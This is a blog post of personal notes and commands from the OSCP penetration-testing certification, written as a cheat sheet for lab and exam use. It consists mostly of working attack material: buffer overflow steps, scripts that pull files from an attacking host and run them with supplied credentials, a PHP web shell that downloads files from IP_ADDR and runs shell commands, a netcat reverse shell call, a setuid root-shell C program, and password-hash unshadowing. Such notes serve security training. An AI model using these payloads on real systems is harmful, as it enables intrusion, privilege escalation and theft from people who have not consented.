Useful OSCP Notes & Commands

FalconSpy
FalconSpy
May 30, 2019 · 5 min read
Image for post
Offensive Security OSCP Logo

After finally passing my OSCP Exam I figured I would create a post with my useful notes and commands. These notes / commands should be spoiler free of machines in both the lab and the exam and are not specific to any particular machine.

I will try to break these up into proper categories / sections that accurately reflects the note / command.

Without further ado in no particular order:

Buffer Overflow

Finding your EIP Offset
If you know how long your buffer is before the exploit crashes (e.g 4000 characters) you can use the pattern_create script with the -l (lowercase L) flag to create a unique pattern.

Using the above example

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000

Once you’ve inserted the above output into your skeleton script, copy down the output of what appears in EIP. Then give pattern_offset a run

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4000 -q <insert your EIP Unique string>

Finding Bad Characters
I felt it was necessary to have a copy of all the ASCII characters laying around for the buffer overflow. This made it easy to copy and paste into BOF skeleton scripts. I also determined the buffer size of the variable so you can modify the skeleton script as you go.

badchar = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”
“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”
“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”
“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”
“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”
“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”
“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”
“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
)

I’d suggest taking the bad characters above and inserting it after your 4 bytes that controls the EIP (Your “B” characters or whatever). Remove bad characters as you go.

There is of course all of the Mona tools at your disposal as well. However, I did not use any of them.

Initial Enumeration Steps

Manual Steps

nmap -sC -sV IP_ADDR

I created a fairly basic Perl scrip that utilizes netcat to give more useful info about UDP ports being open. Code is below:

#!/usr/bin/perl
use strict;
use warnings;

Afterwards just use the below command to run / show open ports

perl script.pl 10.10.10.10 udp_scan.txt; cat udp_scan.txt | grep -v "?"

Anything showing up in the list above should be open. Of course since its UDP take it with a grain of salt.

Automated Steps

Download AutoRecon by Tib3rius at https://github.com/Tib3rius/AutoRecon

python3 autorecon.py -ct 4 -cs 10 -o ./ IP_1 IP_2 IP_3 IP_4

File Transfer Methods

These were all the helpful methods I utilized to get files from my attacking box to the target.

Unix Transfer Methods

wget http://IP_ADDR/file -O /path/to/where/you/want/file/to/go

Windows Transfer Methods

bitsadmin /transfer download /priority normal http://IP_ADDR/file C:\output\path (Works on Windows 7/Windows Server 2000+)

Useful Powershell script that allows for transferring of files as well:

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = “http://IP_ADDR/FILE" >> wget.ps1
echo $file = “FILE” >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1

Maybe you want to execute the above file as another user if you have their creds? This is equally helpful

echo $secpasswd = ConvertTo-SecureString “insert_plaintext_password_here” -AsPlainText -Force > execute.ps1
echo $mycreds = New-Object System.Management.Automation.PSCredential(“username”, $secpasswd) >> execute.ps1
echo $computer = “target_host” >> execute.ps1
echo [System.Diagnostics.Process]::Start(“C:\Users\user\Downloads\firewall.exe”, “”, $mycreds.Username, $mycreds.Password, $computer) >> execute.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>

Content Management System Scanning

These tools should be helpful with some of the more popular CMS like Drupal, WordPress, Joomla, etc

cmsmap http://IP_ADDR -f (D,J…)

Full Interactive TTY Shell

In order for this to work, the reverse shell must have been initiated from nc (netcat)

Image for post
Image for post

PHP Backdoors

These are some of the useful PHP backdoors I used. Rather than include the code on here I will link to most of them. There is one I would like to share that I used for both Windows and Linux interchangeably

<?php if (isset($_REQUEST[‘fupload’])) { file_put_contents($_REQUEST[‘fupload’], file_get_contents(‘http://IP_ADDR/' . $_REQUEST[‘fupload’])); }; if (isset($_REQUEST[‘fexec’])) { echo ‘<pre>’ . shell_exec($_REQUEST[‘fexec’]) . ‘</pre>’; }; ?>

I shouldn’t have to explain above, but in short use <filename>.php?fupload=nc.exe (for example) and <filename>.php?fexec=nc IP PORT

Above can be located in the following path on your Kali box

/usr/share/webshells/php/php-reverse-shell.php

Password Brute Forcing

unshadow passwd shadow > creds.txt

Useful Websites:

OS, User, and Data Collection

Unix

rpm -qa

Windows

echo %USERNAME%

Web Enumeration

nikto -h IP_ADDR

dirsearch — https://github.com/maurosoria/dirsearch

Setuid C Program to Compile

#include <unistd.h>

int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}

This is by no means a complete list of commands I used, programs created / used, etc for the OSCP. There is a lot I created for myself notes wise but taken from already known posts.

Other quick references:

Feel free to leave a comment or let’s chat on Discord https://discord.gg/eG6Nt4x if you have any questions

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store